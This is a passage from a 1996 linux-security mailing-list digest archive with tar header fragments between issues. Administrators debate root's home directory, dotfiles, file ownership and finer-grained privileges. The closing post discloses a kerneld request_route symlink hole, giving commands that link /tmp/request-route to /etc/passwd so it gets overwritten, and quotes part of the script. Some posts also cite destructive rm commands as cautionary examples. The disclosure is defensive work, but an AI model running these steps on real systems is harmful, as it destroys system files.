users,groups,perms? > Why? Does root's home directory really need to be / ? It's really > annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history > (etc.) files and directories, don't you think so? If root's home is > something else than / you may also do 'chmod 700 ~root' and stop users > from sniffing around root's working environment. It really is much > safer to arrange things that way [1]. i think this brings up another important security issue, perhaps not quite so linux-related, but relevant nonetheless. why does root have Mail, .cshrc, .profile, etc. files? there is no reason for this. in fact, i think it can be a *big* detriment in some cases. people *have* to remember that root is *not* a user account, and there fore should not have any user files. root is a thing, not a person, a way of doing things that cannot be done any other way. root's mail should be aliased to the sysadmin. root should never be in a mailer, a newsreader, or any other program it doesn't have to use to maintain the system. this basically amounts to mv, cp, ln, ch[own,mod,grp] and a few others. > I personally use /root as root's home not only on Linux, but also on all > other unixes I am in charge of, like SunOS, Solaris or IRIX. With no > side-effects at all (the only thing you should care in such a setup is > that ~root should really be on the root partition, ie. not /home/root > if /home is a separate one - otherwise, when problems arise, you > may have twice as much of them.) another, equally important issue, is the use of dotfiles. root shouldn't have any. *any.* since root's shell should be /bin/sh, .cshrc does you no good. and .profile can only muck things up... having anything other than /usr/bin:/usr/sbin in your path can be a security hole, root shouldn't have aliases, environment variables can be set by hand after you log in. fancy prompts and "alias rm='rm -i'" can only muck things up, espically if multiple users share the root account. root also doesn't need to have personal filespace... remember the whole filesystem is his personal files space. old .tar.gz files can be stored in /usr/local/src, etc etc... and remember, root should not be too comfortable. if you have to type /usr/local/sbin/my_strange_script all the time, you're less apt to run the wrong one by accident. plus, the less time you spend as root, the better. > Well, whatever the partitioning system is, if you just put '/' in front > of the path or file name, it will bring you whatever you really want to. > Using relative paths when doing something remotly is never a good idea. > > Tomasz > > [1] BTW. I once had to clean the mess after the wanna-be system > administrator, who after discovering that root's home was /root (on a > solaris box) first moved all the files from there to /, then changed > ~root to /, then 'chmod 700 ~root'. Finding it out over a phone was > not a trivial task (yes, you guessed it, nobody except root could log > in, and root could not log in over the net of course...). sounds horrible. couldn't we all avoid this type of stuff by (1) keeping the root password out of the hands of morons, and (2) putting the root of the filesystem where it ought to be. on my linux boxen, i usually move root's home dir to / pretty early on. helps keep me out of bad habits, too. > > -- > _________ > (_ _' __) Tomasz R. Surmacz *---* Work:(071)202636, [email protected] > | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ *----* Home: [email protected] > |__(____/ For PGP key finger [email protected] *---* irc: TomekS > - -- Matthew Hill [email protected] ------------------------------ End of linux-security-digest V2 #26 *********************************** linux-security-digest/v02.n027100664 1767 1767 55023 6157635316 15462 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #27 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 12 June 1996 Volume 02 : Number 027 Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? ---------------------------------------------------------------------- From: John Henders Date: Mon, 10 Jun 1996 16:51:10 -0700 (PDT) Subject: Re: [linux-security] standard users,groups,perms? Fabrizio Giudici writes: > above-mentioned topics, is there any major problem in putting root's home > into /root? I have to say that at that time I created /root directories even > in Sun and HP machines... and they worked fine... ;-) It's the default on BSDI, and a few other varieties I've worked on. I prefer it for the various reasons mentioned. I suppose if all the other machines in a mixed environment used / it might be annoying, but there's certainly no standard, from what I've seen. - -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* ------------------------------ From: Adam Prato Date: Mon, 10 Jun 1996 13:54:13 -0600 (MDT) Subject: Re: [linux-security] standard users,groups,perms? On Mon, 10 Jun 1996, Joseph S. D. Yao wrote: > > Not true: the super-user account, which in recent (last 20 years ;-)) > versions of Unix has been called "root", has all reasonable accesses to > a regular file on a regular disk file system, even though it might not > "own" the file. > > Hence some people fall into the trap of doing everything su'ed to or > logged in as "root". > > Hence all files thus created or copied become owned by root. > > Which then seems to be the natural order of things for these people. > > Since all things are owned by root, they and their successors then get > into or stay in the habit of doing all things su'ed to or logged in as > "root". > > And when they accidentally do, from the directory they thought was /tmp > but is really /, an "rm -rf .[A-Za-z]* *", all they can say is "well, > it couldn't be helped." > > The same when they copy a file into /dev/hda. > > The same when they do anything which a sane set of permissions and > user/group "ownership"s might have prevented, but which ownership by > "root" and thus, necessarily, modification as "root" does little to > prevent. > > This is what I try to prevent by making things not owned by "root". > It's not that they are owned by "root" that causes me grief. It's that > people then have to do maintenance to them as "root". > > And, yes, if you have to routinely distribute tasks in a fixed and > predictable manner, then tools such as 'sudo' help. If you trust them. > [;-)/2] I see, you've made some very good points and I totally agree with you. However I'm still entitled to my opinion for one :). But in addition to your philosophy, wouldnt it be appropriate to have separate classes of files? I still believe that all internal system files should be owned by the root user, programs such as inetd services, and anything that gets executed with root privileges should be owned by root, any user that has less privileges (bin, sys, daemon, regular users). Secondly, any files that need to be modified on occasion that are not system level config files per se (inetd.conf, /etc/crontab, whatever) should either be either owned by special users or group writeable. Especially if an important system file must be changed by running a specific command and typing a password over the network. Well, as we try and develop the ultimate security profile, we will undoubtedly go our own ways. But thanks for the feedback regarding your own ideas and experience. Adam ------------------------------ From: Jesse Pollard Date: Tue, 11 Jun 1996 10:21:12 -0500 Subject: Re: [linux-security] standard users,groups,perms? From: shaggenbunsenburner >> > Recently, at a site whose administrator is in our local SAGE chapter, >> > someone's helper edited the /etc/password file and accidentally altered >> > the super-user password. The /etc/password file was owned by root. It >> > couldn't be fixed without resorting to booting a stand-alone system in >> > a memory disk from the installation media. That took a while - and an >> > appeal to the mailing list - to come up with. Needless. >> >> What is the point ? do not let someone's helpers cousin's neighbors edit >> your password file :-) > >hahaha :) My question is, how would spreading the superuser privilege >have avoided this disaster? The user having partial root privileges would not have been able to prevent root from logging in. This has happened to me several times (usually an utility bug of my own creation). I permit a small list of users the ability to create user logins. These users cannot modify any uid less than 99, and cannot modify the /etc/password file at all. These users access the NIS maps which are NOT part of the /etc/passwd file. This has worked very well for about 2000 users, across 10 SGI servers and workstations. Root does own the files. The edit functions are implemented via a setuid program that only permits the edit functions on internally defined files (the NIS password and group files). The functions also create backup files, and a single level undo capability. As far as other root functions - consider Cray UNICOS (yeah I know, you cant get one for the house). This system support multi-level security and is one of the most security-aware systems I know (out of HP/UX, Sun Compartmented mode workstation, and Trusted IRIX). On this system, root is just a user. No special priveleges other than file ownership. Even then the files cannot be modified by root unless 1. proper compartment (similar to a group ID, but is separate) 2. proper level (no comparison available) 3. The file must not have security flags that prevent modification (No, root cannot modify these flags). Security is controlled by a security administrator (secadm). In this sense it is like root, but does not own any of the system files (security configuration files excluded). In addition - if secadm attempts to modify restricted files, the login must satisfy items 1,2 and 3. It IS possible for secadm to alter item 3. At this point UNIX security comes into play. It is not possible for file modification to be done without also becoming root. It is even necessary for root to grant the secadm the privilege (usually by the normal group access) to read the security logs. Security levels (item 2) provide protection by controlling access to the various files by: level used for example syshigh always to be trusted shadow password file 15 . user files at various levels . 0 syslow required files and programs to be /etc/passwd file protected passwd, login ... These levels have the following restriction: if the level of a file is equal to or less than that of the process attempting to READ it then use UNIX security for access control. if the level of a file is equal to that of the process attempting to WRITE it then use UNIX security for access control. if the level of a file is higher than that of the process then access is denied unless the security flags assigned to the process permit access. A process gains security flags by executing an image marked syslow, with the necessary security flags. A sample of this is the password program that must gain write access to the shadow password file. There are no processes or users that can get the "syshigh" or "syslow" levels. These are outside permitted active processes and only exist on disk. Since all processes must then be between 0-15, access to system files is denied. Yes, this does make system updates difficult. But - like most sites, these rules are not completely enforced (when they are the system is called "Trusted" UNICOS). The levels are present, violations are logged, but not prevented from those logins with security override flags enabled. Of course, that can make these logins equivalent to root, even so - they are not quite as powerful as normal root logins. In "Trusted" UNICOS, system and security updates can only be done at single user level (no networks, no users other than the now all powerful root...) Even having the security administrators password does not get root. A lot of damage CAN be done, but it requires secadm, root, daemon, ... passwords to get them, and although secadm can change these passwords, the system starts to shut itself down when security violations occur too frequently (3 login failures in a row, within a minute, disable the account - even root). It is this layering of security that protects the system. So much for my rambling. This is only an outline (doesn't get into access control lists) and is incomplete, but does show some of the "spreading" around of "root" privileges. Jesse Pollard [email protected] ------------------------------ From: Jeff Uphoff Date: Tue, 11 Jun 1996 12:12:29 -0400 Subject: Re: [linux-security] standard users,groups,perms? "MJH" == Matthew J Hill writes: MJH> another, equally important issue, is the use of dotfiles. root MJH> shouldn't have any. *any.* This is getting heavily into the realm of religion, but I have to mildly disagree here; one example of a very useful dotfile (well...directory, in this case): ~root/.ssh/ Oftentimes, due to locally-determined conditions (commonly found in medium-to-large site installations), root on one system *must* trust root on another (e.g. for certain types of backups, rdist jobs, and the like). I'd much rather define that trust in terms of a (possibly passphrase-protected) SSH key than a vanilla .rhosts file, for obvious reasons. SSH's encrypted connection is a nice side benefit as well.... MJH> fancy prompts and "alias rm='rm -i'" can only muck things up, MJH> espically if multiple users share the root account. A bit of disagreement here too: I find a prompt that really stands out and SHOUTS a constant reminder that the uid is 0 to be A Good Thing. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 11 Jun 1996 13:59:04 -0400 Subject: Re: [linux-security] standard users,groups,perms? Your message dated: Tue, 11 Jun 1996 09:49:05 EDT > The discussion regarding apropriate users, groups, file locations, etc, is > really quite philosophical in nature. To suggest that the security setup > for a UNIX system that handles thousands of users in a class C2 secure > setup (or higher, SCO now supports B grade security) should be the same > setup as a UNIX system that handles a hacker or two on their own home PC > is ridiculous. Last time I checked (May 17th 1996) SCO did not have certification for B level. SCO claim to provide security level comparable to B ( DEC has the same claim for new OSF security package) > First off, for the higher grades of security, (B grade specifically), you > cannot have a single all-powerful superuser, the superuser needs to have > restrictions. That is the idea of the Wheel oligarchy introduced in > System V Release 4. BSD-ish systems have been very sluggish to implement > the enhanched suite of security SVR4 provides. This is mostly incorrect statement. The difference between B and C levels of security is presence of *compartments* on B levels, identification and detection of the maximum bandwidth of covert channels for B1, their removal for B2 and above. [Ref: Orange Book ; "UNIX System Security" Matt Bishop] One of priviledges that superuser does have is a priviledge to set priviledges which creates a perfect opportunity to compromise TCB and compartment system. Consider: Root creates a new System Security Officer. A new System Security Officer modifies compartment access for other system security officers from "read-write-modify-create-delete" to "no-access", modifies access for super user from "create-delete" to "read-write-modify-create-delete". Now super user becomes SSO. SSO has permission to set access for "sub-system managers". > > Under this arrangement, a well administered system has sub-system > managers, for example, a mail manager, a system manager, a uucp manager, > and network manager, and database manager, etc, etc, etc. These managers > have the ability to work in their own file areas (example, the database > manager has the ability to be "super-database user"), and they often have > access to a select subset of files using the wheel super-group. (instead > of su, sg). These subsystems have applications which, in a perfect world, > may need to be setuid to root, but the applications themselves do what > they need as root, and then set control back to their own proper > subsytems. > Sun's target is high end work stations, and some medium grade servers. > They generally have one or two users as admins, and the need to split up > security across many users is minimal (I don't think Solaris even counts > as a B grade secure systems, does it even count as C2?) So, there will > probably be one and only one user as admin, and then its apropriate to > have a super-user "root." Since that admin will often use the "root" > account, its also proper *not* to have that account in "/", since on a > Sun, "/" is normally quite a small parition ( 3 different Sun reps > suggested <20MB). Thats pitiful. Anyway, its rather quite aproprite to > have /root somewhere where there is disk space. None of the systems that has BSD-type /etc/passwd or BSD type 'r'-type servers can be considered even C1 secure as one of the fundamential requirements for C1 is *required* authentication. Best wishes, Alex ------------------------------ From: [email protected] (Rogier Wolff) Date: Tue, 11 Jun 1996 18:11:30 +0200 (MET DST) Subject: Re: [linux-security] standard users,groups,perms? Instead of continuing this thread with personal preferences as "I don't like roots homedir to be / or /root" and (currently) security-unwise statements like "bin should be the owner of the binaries", I'd like to make a suggestion. The "Almighty" "root" account has lots of privileges. (override filesystem permissions, access to IO ports, etc etc.). This should be abolished. To do this, every uid should get a bitvector of privileges. Every "suser()" call in the kernel should get mapped to one of the bits. The default setup sets all of these bits to "enabled" for "root" and "disabled" for all other users. A secure setup would deminish the vector for "root"(?) and increase it for other users. (e.g. the "bind to low ports" bit and the "change uid to normal uids" bit should be on for "sendmail" running as user "mailerdeamon") The login program only needs change_uid (even to root? Maybe not. Abolish root logins!) An interface for setting this info should be thought out. I generally prefer something by writing to /proc files, but most things are currenlty implemented through ioctls (although Linus says he hates them....) Someone needs to implement this. I'd recommend an 80 hour lab-assignment for an OS class for this job...... Roger. ------------------------------ From: Tomasz Surmacz Date: Wed, 12 Jun 1996 02:21:30 +0200 (MET DST) Subject: Re: [linux-security] standard users,groups,perms? [Mod: This is starting to get "what if"'d to death. IMHO, it's time to wind this thread down; everyone has their own approaches, and will tend to stick with the one that's most comfortable/usable.... --Jeff.] [email protected] (Matthew J. Hill) quoted me: > > > Why? Does root's home directory really need to be / ? It's really > > annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history ... > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? there is no reason for this. in fact, i Well... there are some. - - Sometimes, you REALLY have to do something as root. Having some 'nice' environment helping you mistyping some /too/lenghty/paths/to/be/remembered/correctly is not a bad idea. - - I have seen systems, that put '.' in the path of EVERY users (including root) by default, with no ways to change it by some system-wide config file. The only way to prevent root from having '.' in path is then initializing path in .cshrc or .profile (Well.. I know root's shell should be /sbin/sh, but I usually also have another root account (say 'rootts') which is a bit more customized to make doing regular administration tasks easier - having a single home for all root accounts simplifies taking care of security) - - Setting prompt to explicitly tell you the machine name, the directory and that you have the root power, also prevents many mistakes (like deleting the right file in the right place, but on the wrong machine). - - When you have cow-orkers having root privileges too, it is also a good idea to have a .history or .bash_history file which can tell you what has been done recently (not a big win, but can help anyway). > another, equally important issue, is the use of dotfiles. root shouldn't > have any. *any.* since root's shell should be /bin/sh, .cshrc does you > no good. and .profile can only muck things up... having anything other > than /usr/bin:/usr/sbin in your path can be a security hole, root What about /usr/local/sbin (if you start putting some nonstandard sysadm-oriented files there) and /sbin? What about the .ssh directory? What if your machine runs constatntly xdm on the console and you cannot login as root inthe 'text mode' but only in X11 session? > shouldn't have aliases, environment variables can be set by hand after you > log in. fancy prompts and "alias rm='rm -i'" can only muck things up, > espically if multiple users share the root account. I agree with you about this 'alias rm' example, but there are other, that are really useful and cannot do any harm. Like 'alias mc mv' to prevent you from running midnight commander when you mistype 'mv'. And typing 'alias ll ls -al' every time I do a 'su' does not seem very conveneint to me... Also - one of my favourite ways to move around the filesystem is to have a set of: set uucp=/usr/spool/uucp set uucfg=/usr/local/lib/uucp/config ... statements and the using 'cd $uucp' to jump there. The less you type, the less can you mistype... having a reasonable set of aliases, variables and paths can only prevent you from doing something bad. (and I really like to have 'setenv TAPE /dev/rmt/0n' on Solaris in order NOT to rewind the tape and overwrite the last backup, when I mistakenly forget to put the right device name to 'mt' or 'tar'...) > root also doesn't need to have personal filespace... remember the whole > filesystem is his personal files space. old .tar.gz files can be stored > in /usr/local/src, etc etc... Generally - yes, but then - I also have some scripts (like adding a new user, cleaning some old unnecessary logs, backing up the system, etc.), which really do not need to be seen by other users, so they end up in ~root/bin. > and remember, root should not be too comfortable. if you have to type > /usr/local/sbin/my_strange_script all the time, you're less apt to run the > wrong one by accident. plus, the less time you spend as root, the better. But you are more prone to end up typing it twice or even more times, if you don't get the right path the first time. > > [1] BTW. I once had to clean the mess after the wanna-be system > > administrator, who after discovering that root's home was /root (on a ... > sounds horrible. couldn't we all avoid this type of stuff by (1) keeping > the root password out of the hands of morons, and (2) putting the root of > the filesystem where it ought to be. Well, he was supposed to learn more before doing things like that, but (1) - - it was his system, not mine, (2) - people like this one will always find another way to 'rm -rf /tmp/.*' or something like this. (BTW. How can you put 'the root of the file system' somewhere other than '/'? ;-) ) > on my linux boxen, i usually move root's home dir to / pretty early on. > helps keep me out of bad habits, too. Well.. I would say that there are pros and cons for both approaches and I would stick to what I am already used to :-) Tomasz - -- _________ (_ _' __) Tomasz R. Surmacz *---* Work:(071)202636, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ *----* Home: [email protected] |__(____/ For PGP key finger [email protected] *---* irc: TomekS ------------------------------ From: Sanjay Kapur Date: Tue, 11 Jun 1996 23:44:28 -0400 (EDT) Subject: Re: [linux-security] standard users,groups,perms? On Tue, 11 Jun 1996, Rogier Wolff wrote: > To do this, every uid should get > a bitvector of privileges. Every "suser()" call in the > kernel should get mapped to one of the bits. The default > setup sets all of these bits to "enabled" for "root" and > "disabled" for all other users. > > A secure setup would deminish the vector for "root"(?) and increase > it for other users. (e.g. the "bind to low ports" bit and the > "change uid to normal uids" bit should be on for "sendmail" > running as user "mailerdeamon") The login program only needs > change_uid (even to root? Maybe not. Abolish root logins!) [Mod: Quoting trimmed. --Jeff] VMS, Secure VMS etc. have this and it is very well documented. Another thing that higher level security requires is Access Control Lists (ACLs) rather than the very simplistic user/group/world security model of Unix. Security is not a question of technology or using a string "root" to log on but a frame of mind and a set of procedures. Large systems security policies, although nice just do not apply to single user systems. If it did, Bill Gates would not be worth $17 billion selling over 60 million copies of Windows and MSDOS every year. Sanjay Kapur ------------------------------ End of linux-security-digest V2 #27 *********************************** linux-security-digest/v02.n028100664 1767 1767 47523 6160037447 15464 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #28 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 13 June 1996 Volume 02 : Number 028 Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] Admin note (recent traffic surge). Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? Re: [linux-security] standard users,groups,perms? [linux-security] suspicious users [linux-security] Big security hole in kerneld's request_route [linux-security] Re: Big security hole in kerneld's request_route ---------------------------------------------------------------------- From: [email protected] (Rogier Wolff) Date: Wed, 12 Jun 1996 09:37:16 +0200 (METDST) Subject: Re: [linux-security] standard users,groups,perms? > > On Tue, 11 Jun 1996, Rogier Wolff wrote: > > > > > To do this, every uid should get > > a bitvector of privileges. Every "suser()" call in the > > kernel should get mapped to one of the bits. The default > > setup sets all of these bits to "enabled" for "root" and > > "disabled" for all other users. > > VMS, Secure VMS etc. have this and it is very well documented. Another > thing that higher level security requires is Access Control Lists (ACLs) > rather than the very simplistic user/group/world security model of Unix. Agreed. Is Remi Card on this list? We should try to push him to implement ACLs finally... (Or was I at the north pole while it was implemented :-) [Mod: Remy's not on this list (that I know of, though he might be on it via a secondary exploder), but he is working in this direction. See linux.nrao.edu:/pub/linux/packages/ext2fs/slides/berlin96/acl-* (mirrored from tsx-11) for a brief outline of his current ACL work. - --Jeff.] > Security is not a question of technology or using a string "root" to log > on but a frame of mind and a set of procedures. Large systems security > policies, although nice just do not apply to single user systems. If it > did, Bill Gates would not be worth $17 billion selling over 60 > million copies of Windows and MSDOS every year. Aha! Yes Agreed. As Domain/OS users will know, ACLs are a superset of the old-fashioned user/group/others permission bits. I am suggesting to implement the kernel level support for good security, not that I want to push it onto every single Linux user. There are lots of features that normal home-users won't use (firewalling for instance). Roger. - -- ** Q: What's the difference between MicroSoft Windows and a virus? ** ** A: Apart from the fact that virusses install easier, none. ** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** ------------------------------ From: Chris Evans Date: Wed, 12 Jun 1996 13:17:01 +0100 (BST) Subject: Re: [linux-security] standard users,groups,perms? On Tue, 11 Jun 1996, Rogier Wolff wrote: > The "Almighty" "root" account has lots of privileges. > (override filesystem permissions, access to IO ports, etc > etc.). This should be abolished. > > To do this, every uid should get > a bitvector of privileges. Every "suser()" call in the > kernel should get mapped to one of the bits. The default > setup sets all of these bits to "enabled" for "root" and > "disabled" for all other users. Here, you are referring to something very similar to POSIX.6 (or whatever the new name for this is). It's already being worked on, and there is a preliminary patch available.... keep a look out during 2.1 development. If you're interested in contributing to this system, drop a mail on linux-kernel mentioning this, and I'm sure the person working on it will contact you. I think his name was "Darren Moffat". Chris. ------------------------------ From: Synthesizer Punk Date: Wed, 12 Jun 1996 00:19:28 -0400 (EDT) Subject: Re: [linux-security] standard users,groups,perms? On Mon, 10 Jun 1996, Matthew J. Hill wrote: > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? there is no reason for this. in fact, i > think it can be a *big* detriment in some cases. people *have* to > remember that root is *not* a user account, and there fore should not have > any user files. root is a thing, not a person, a way of doing things that > cannot be done any other way. root's mail should be aliased to the > sysadmin. root should never be in a mailer, a newsreader, or any other > program it doesn't have to use to maintain the system. this basically > amounts to mv, cp, ln, ch[own,mod,grp] and a few others. I'm just a lurker, but a topic of my interest has risen, so I procede to interject... The root account is nothing but an administration tool. Whomever it was in the above quote (in my haste to prepare my mail, I didn't take heed to who it was, but credit for the sensible knowledge is due) has the right idea. I often time see people using IRC from root, which truely disgusts me. Why compromise security like that? Do not read mail from root, don't do user-things as root, and please dear god don't IRC as root. All of those previous mentioned could make you a sitting target for a wily cracker or a caniving prank. the root account is for doing things that regular users shouldn't be able to, a hidden command to create/destroy things. Do as you wish, but you only compromise security. I don't suggest putting root under /home on large or multi partitioned systems, especially ones that partition /home. If /home/root is' UID 0's home dir, what would you do if /home wasn't mountable if you gave the 3 finger salute? Not login, for the most part. 8^) But, as I've said before, it's up to you. Part of the joy of linux, among other unices is the fact that you can do one trivial task a million different ways. This is ONE thing that should never be changed. . - -- -- -------__--__------------------__---.-- - - - -- ----- --- ----. : ___ __ _____ / /_/ / ___ __ _____ / /__ : mailto:[email protected] : |(_- Date: Tue, 11 Jun 96 14:59 PDT Subject: Re: [linux-security] Admin note (recent traffic surge). From: Jeff Uphoff 2) A thread with highly "religious" and contentious aspects: uid/gid ownership of system files, configuration of the root account, etc.... ... I think it's fairly safe to say that most everyone already has a slightly different approach to this, that there is no "One True Answer," and that this thread is a good (though voluminous!) "airing out" of these different ideas and opinions. I have one question about uid 0 accounts. Of course one wants to give minimum permissions to accounts, and the more uid 0 passwords floating around the more risks one takes. Generally, the "all the eggs in one basket and watch that basket very closely" is a good idea. However, as one author noted, if you permit a novice to su and do work, there is a possibility that they might do something that prevents normal use of the system, such as accidentally changing the root password. My solution, of course, is just to have a separate boot media handy; given that I'm running linux on a PC, its easy to boot off of floppy and mount the main file system on a convenient mount point -- physical security beats software security. But some linux boxes may be in inconvient locations, or be hardware modified as to be unable to boot from floppy. It is reasonable to have two uid 0 accounts? The idea is to minimize risk but not permit single points of failure. The downside, of course, is that with both "root" and "tuber" things like ftp or nfs access to tuber do not have built in protection as it does against root, so ideally one would have to patch daemons to recognize both accounts as special (or get the authors to protect against uid 0 accounts rather than a specific username). Is there another risk I'm missing? - --woody - -- Robert Wooddell Weaver office: 510-631-4416 Department of Mathematical Sciences home: 510-595-9451 St. Mary's College of California fax: 510-376-4027 Moraga, CA 94575 ------------------------------ From: Lars Wirzenius Date: Tue, 11 Jun 1996 23:07:46 +0300 Subject: Re: [linux-security] standard users,groups,perms? Jeff Uphoff: > A bit of disagreement here too: I find a prompt that really stands out > and SHOUTS a constant reminder that the uid is 0 to be A Good Thing. Similarly, I have an xterm running a root shell. It uses red as the background color. My usual xterms have a white background. The root xterm is ugly as hell. This means I avoid using it, unless I have to, and it is really difficult to use it by mistake. ------------------------------ From: John Henders Date: Tue, 11 Jun 1996 14:28:47 -0700 (PDT) Subject: Re: [linux-security] standard users,groups,perms? Matthew J. Hill writes: > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? there is no reason for this. in fact, i > think it can be a *big* detriment in some cases. people *have* to > remember that root is *not* a user account, and there fore should not have > any user files. root is a thing, not a person, Having been a system administrator for a moderate sized ISP for a few years now, I'd have to say that while this may be true for your reality, it certainly isn't for mine. Testing a user's mailbox with elm, a common thing to do in my job, creates a Mail directory for you, unless you want to constantly be asked by elm every time it runs if it should create one. I'd rather have that stuck in a directory rather than cluttering up my root directory. >..... root > shouldn't have aliases, environment variables can be set by hand after you > log in. fancy prompts and "alias rm='rm -i'" can only muck things up, > espically if multiple users share the root account. > Fancy prompts can serve as a visual reminder that you are root. It's also a lot less likely you'll make the previously quoted mistake of a deletion in the wrong directory if you have the $CWD in your prompt. And, if you are used to a customized environment in your user account, not carrying those aliases into your root shell can lead to errors as well. Of course I've met people who therefore never customise their normal environment either, but as far as I can see, that just means they can't take advantage of a lot of the power using unix gives you. - -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* ------------------------------ From: "Joseph S. D. Yao" Date: Tue, 11 Jun 1996 17:26:01 -0400 Subject: Re: [linux-security] standard users,groups,perms? > > Why? Does root's home directory really need to be / ? It's really > > annoying to have all those /Mail, /.cshrc, /.profile, /.exrc, /.history > > (etc.) files and directories, ... > i think this brings up another important security issue, perhaps not quite > so linux-related, but relevant nonetheless. why does root have Mail, > .cshrc, .profile, etc. files? ... > .. people *have* to > remember that root is *not* a user account, and there fore should not have > any user files. root is a thing, not a person, a way of doing things that > cannot be done any other way. ... Quite so. Exactly. However, I would say that ".profile", ".postfile", and ".kshrc"-type files, or ".login", ".logout", and ".cshrc"-type files for root can be used to enhance the security of the system, as long as there is an explicit agreement NOT to muck with them once they're properly set up. They should remove "." from your $PATH (if your 'su' doesn't do that already), and add directories where specifically system-related commands are stored (e.g., /sbin, /usr/sbin). They may even regulate access, change umask, log access, and do other such things. > ... root's mail should be aliased to the > sysadmin. root should never be in a mailer, a newsreader, or any other > program it doesn't have to use to maintain the system. this basically > amounts to mv, cp, ln, ch[own,mod,grp] and a few others. Yes! > another, equally important issue, is the use of dotfiles. root shouldn't > have any. *any.* ... Wow! A person who's more dogmatic than I! [;-)] See my opinions above. > root also doesn't need to have personal filespace... remember the whole > filesystem is his personal files space. old .tar.gz files can be stored > in /usr/local/src, etc etc... Yes and no. I quote, > remember that root is *not* a user account, and there fore should not have > any user files. The filesystem is NOT root's personal file space. Root has no personal files. All of the files are either system files, files for a specific application, or files for a specific user. Which, I think, is what you REALLY meant (if I may be so bold). > and remember, root should not be too comfortable. if you have to type > /usr/local/sbin/my_strange_script all the time, you're less apt to run the > wrong one by accident. ... I would not be quite so harsh. Remember, personal comfort is part of Maslow's hierarchy of needs (can't believe I'm quoting him now!): if the lesser needs are taken care of, the person can better concentrate on the more cerebrate needs, namely the task at hand. (And I'm not one for needless comforts - I did go to school at a Benedictine monastery. [;-)]) > ... plus, the less time you spend as root, the better. Yes! Absolutely! The whole point behind this entire thread! > sounds horrible. couldn't we all avoid this type of stuff by (1) keeping > the root password out of the hands of morons, ... Desirable, but not always feasible in the work arena. > ..., and (2) putting the root of > the filesystem where it ought to be. > on my linux boxen, i usually move root's home dir to / pretty early on. > helps keep me out of bad habits, too. I think that HERE is the basic confusion that a couple of people have expressed. The root of the file system is always "/". That is not changeable. Well, yes, you could call chroot(). Don't confuse me, I'm on a roll. [;-)] The home directory of the root account is ... well, wherever it's put. It's not necessarily identical to the root of the file system, although a good many Unix and Unix-like systems have traditionally placed it there. I have always left it wherever the installation program put it: perhaps I have been being lazy. Certainly, this sub-thread of the main thread has presented arguments that to me are cogent and compelling for putting it elsewhere than "/". If you 'su' to "root", or (horrors!) go to the console and log in as "root", and need to do something from the root of the file system, it's easy enough to say "cd /". Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: "Douglas F. Elznic" Date: Sat, 08 Jun 1996 13:21:37 -0400 Subject: [linux-security] suspicious users I am becoming suspicious of some users on my system. I am wondering what is the best way to watch what they do or have done. What have you (the members of list) done to "babysit" these users. - -- ==================Douglas Elznic=================== [email protected] http://www.axess.net/~delznic/ <315.682.5489> <315.682.1647> Pager: <315.241.2056> 4877 Firethorn Circle Manlius, NY 13104 "Challenge the system, question the rules." =================================================== PGP key available: http://www.axess.net/~delznic/pgpkey.asc PGP Fingerprint: 68 6F 89 F6 F0 58 AE 22 14 8A 31 2A E5 5C FD A5 =================================================== ------------------------------ From: [email protected] (Igor Chudov @ home) Date: Wed, 12 Jun 1996 23:21:02 -0500 (CDT) Subject: [linux-security] Big security hole in kerneld's request_route - -----BEGIN PGP SIGNED MESSAGE----- Hi, I was just looking at sources of newly released linux 2.0. In modules-1.3.69k, in kerneld's subdirectory, there is a file request_route.sh (see below). It's supposed to run as root, whenever a route is requested. It is supposed to start pppd or something like that. As it appears, it is possible to destroy system philes (such as /etc/passwd and so on). Condition: you must have a system which has "on-demand loading" of pppd, whenever a route is requested. Exploit: you $ ln -s /etc/passwd /tmp/request-route you$ ping 204.251.80.30 Internally kerneld starts request_route, request_route writes pid to the symlinked file, and the file pointed to by symlink is overwritten. Did I miss something? - Igor. #! /bin/sh LOCK=/tmp/request-route PATH=/usr/sbin:$PATH # for ppp-2.2* export PATH # Note: you are _not_ forced to use ppp! # You can do whatever you want in order to satisfy the kernel route request. # It might be a good idea to set up the route as the default route, in case # you are using e.g. slip or plip or any other net driver... # # This script will be called from kerneld with the requested route as $1 # Create a chat script for your nameserver (as defined in /etc/resolv.conf) # chatfile=/etc/ppp/chat.$1 if [ -f $chatfile ] then # # Tune your favourite parameters to pppd, including the idle-disconnect option. # Kerneld will be automatically triggered to load slhc.o and ppp.o # pppd connect "chat -f $chatfile" /dev/modem 38400 \ idle-disconnect 600 